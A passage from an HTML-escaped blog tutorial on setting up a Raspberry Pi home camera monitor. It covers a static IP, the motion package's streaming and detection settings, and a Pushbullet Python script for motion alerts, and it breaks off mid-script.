&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@ssh.guru &lt;span style=&#34;color:#75715e&#34;&gt;# ssh pi@raspberrypi.local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;basic-raspberry-pi-config&#34;&gt;Basic Raspberry Pi config&lt;/h3&gt;
&lt;p&gt;For starters, let&amp;rsquo;s run &lt;code&gt;sudo raspi-config&lt;/code&gt; and use the nice and shiny GUI to change the hostname of our device and the &lt;code&gt;pi&lt;/code&gt; password.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@raspberrypi.local:~ $ raspi-config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once that&amp;rsquo;s out of the way, run the following command to edit the file used for setting up a static IP address:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo vi /etc/dhcpcd.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To configure a static IP address on the Wi-Fi interface (&lt;code&gt;wlan0&lt;/code&gt;), uncomment and/or edit the following lines and adjust to your needs:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;interface wlan0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;static ip_address&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.0.254/24
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;static routers&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;static domain_name_servers&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;1.1.1.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save your changes and reboot - our Raspberry Pi is ready for the next stage of this guide.&lt;/p&gt;
&lt;h2 id=&#34;stage-one---247-monitoring-with-motion-detection&#34;&gt;Stage One - 24/7 Monitoring with motion detection&lt;/h2&gt;
&lt;h3 id=&#34;247-monitoring---aka-live-stream&#34;&gt;24/7 Monitoring - aka Live Stream&lt;/h3&gt;
&lt;p&gt;Before continuing, make sure the USB camera is plugged into one of the USB ports on the Raspberry Pi. I&amp;rsquo;d suggest to stick with a cheaper cam to avoid power problems. RPis are unfortunately known for not delivering enough power for the beefier webcams on the market (connecting a powered USB dock would workaround this issue).&lt;/p&gt;
&lt;p&gt;For live monitoring, we will use a package known as &lt;code&gt;motion&lt;/code&gt;. Let&amp;rsquo;s install it straight away:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo apt install motion nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once installed, edit the following file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ vi /etc/motion/motion.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are some settings in this file we need to adjust. Firstly, we need to enable the daemon setting:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;############################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Daemon&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;############################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Start in daemon (background) mode and release terminal (default: off)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;daemon on
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, allow the stream to be viewed from outside the localhost:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Restrict stream connections to localhost only (default: on)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stream_localhost off
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s all we need for now. Save the file and enable+start the motion service unit:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@babypi:~ $ systemctl enable motion
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@babypi:~ $ systemctl start motion
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At this point, you should be able to point your browser (on any device including smartphones, smartwatches, TVs etc.) to &lt;a href=&#34;http://raspberrypi.local:8081&#34;&gt;http://raspberrypi.local:8081&lt;/a&gt; and view the stream from your webcam (below has been obscured on purpose).&lt;/p&gt;
&lt;h3 id=&#34;motion-detection&#34;&gt;Motion Detection&lt;/h3&gt;
&lt;p&gt;The config file discussed in the section above also allows to setup motion detection. Here&amp;rsquo;s a sample config of mine. The options are very well described so I&amp;rsquo;m sure it won&amp;rsquo;t be a problem for you to adjust it to your needs.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;############################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Motion Detection Settings:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;############################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Threshold for number of changed pixels in an image that&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# triggers motion detection (default: 1500)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;threshold &lt;span style=&#34;color:#ae81ff&#34;&gt;1500&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Automatically tune the threshold down if possible (default: off)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;threshold_tune on
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Noise threshold for the motion detection (default: 32)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;noise_level &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Automatically tune the noise threshold (default: on)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;noise_tune on
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Despeckle motion image using (e)rode or (d)ilate or (l)abel (Default: not defined)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Recommended value is EedDl. Any combination (and number of) of E, e, d, and D is valid.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# (l)abeling must only be used once and the &amp;#39;l&amp;#39; must be the last letter.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Comment out to disable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;despeckle_filter EedDl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Detect motion in predefined areas (1 - 9). Areas are numbered like that:  1 2 3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# A script (on_area_detected) is started immediately when motion is         4 5 6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# detected in one of the given areas, but only once during an event.        7 8 9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# One or more areas can be specified with this option. Take care: This option&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# does NOT restrict detection to these areas! (Default: not defined)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;; area_detect
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# PGM file to use as a sensitivity mask.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Full path name to. (Default: not defined)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;; mask_file value
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# PGM file to completely mask out a area of image.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Full path name to. (Default: not defined)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# mask_privacy value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Dynamically create a mask file during operation (default: 0)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Adjust speed of mask changes from 0 (off) to 10 (fast)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;smart_mask_speed &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Ignore sudden massive light intensity changes given as a percentage of the picture&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# area that changed intensity. Valid range: 0 - 100 , default: 0 = disabled&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lightswitch &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Picture frames must contain motion at least the specified number of frames&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# in a row before they are detected as true motion. At the default of 1, all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# motion is detected. Valid range: 1 to thousands, recommended 1-5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;minimum_motion_frames &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Specifies the number of pre-captured (buffered) pictures from before motion&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# was detected that will be output at motion detection.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Recommended range: 0 to 5 (default: 0)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Do not use large values! Large values will cause Motion to skip video frames and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# cause unsmooth movies. To smooth movies use larger values of post_capture instead.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pre_capture &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Number of frames to capture after motion is no longer detected (default: 0)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;post_capture &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Event Gap is the seconds of no motion detection that triggers the end of an event.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# An event is defined as a series of motion images taken within a short timeframe.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Recommended value is 60 seconds (Default). The value -1 is allowed and disables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# events causing all Motion to be written to one single movie file and no pre_capture.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# If set to 0, motion is running in gapless mode. Movies don&amp;#39;t have gaps anymore. An&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# event ends right after no more motion is detected and post_capture is over.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;event_gap &lt;span style=&#34;color:#ae81ff&#34;&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Maximum length in seconds of a movie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# When value is exceeded a new movie file is created. (Default: 0 = infinite)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;max_movie_time &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Always save images even if there was no motion (default: off)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;emulate_motion off
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;stage-two---smartphone-push-notifications-motion-detection&#34;&gt;Stage Two - Smartphone Push Notifications (motion detection)&lt;/h3&gt;
&lt;h3 id=&#34;pushbullet&#34;&gt;Pushbullet&lt;/h3&gt;
&lt;p&gt;For generating the push notifications, we are going to use the API of &lt;a href=&#34;https://www.pushbullet.com/&#34;&gt;Pushbullet&lt;/a&gt;. Go ahead and create an account for yourself. No cost involved in what we&amp;rsquo;re going to use it for.&lt;/p&gt;
&lt;p&gt;After creating the account, download the Pushbullet app on your phone and associate the device.&lt;/p&gt;
&lt;p&gt;Now, go back onto Pushbullet.com and navigate to Settings-&amp;gt;Account. Use the &amp;ldquo;Create Access Token&amp;rdquo; to generate a unique API token.&lt;/p&gt;
&lt;p&gt;Save your token somewhere handy - we will need it soon.&lt;/p&gt;
&lt;p&gt;Next, check your device name in the Devices tab just underneath the Account section and note it down as well.&lt;/p&gt;
&lt;h3 id=&#34;python&#34;&gt;Python!&lt;/h3&gt;
&lt;p&gt;Time to create a script for sending a push notification.&lt;/p&gt;
&lt;p&gt;Prerequisites: &lt;code&gt;python3&lt;/code&gt;, &lt;code&gt;python3-pip&lt;/code&gt; and &lt;code&gt;PushBullet&lt;/code&gt; Python module.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo apt install python3 python3-pip
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo pip install PushBullet
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create a &lt;code&gt;push.py&lt;/code&gt; file on the Raspberry Pi and make it executable:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ touch push.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ chmod +x push.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, paste the following code into the file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pushbullet &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; Pushbullet
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pb &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Pushbullet(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;APIKEY&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dev &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pb&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_device(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Galaxy S10e&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;push &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dev&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;push_note(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ALERT&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MOTION DETECTED&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alternatively, if you&amp;rsquo;d like to have multiple devices notified of detected motion, setup multiple Pushbullet accounts, associate each device with an individual account, generate API tokens for all accounts and use this version of the script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pushbullet &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; Pushbullet
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pb1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Pushbullet(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;APIKEY1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pb2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Pushbullet(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;APIKEY2&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# and so on and so on&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dev1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pb1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_device(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Galaxy S10e&amp;#39;&lt;/span&gt;)
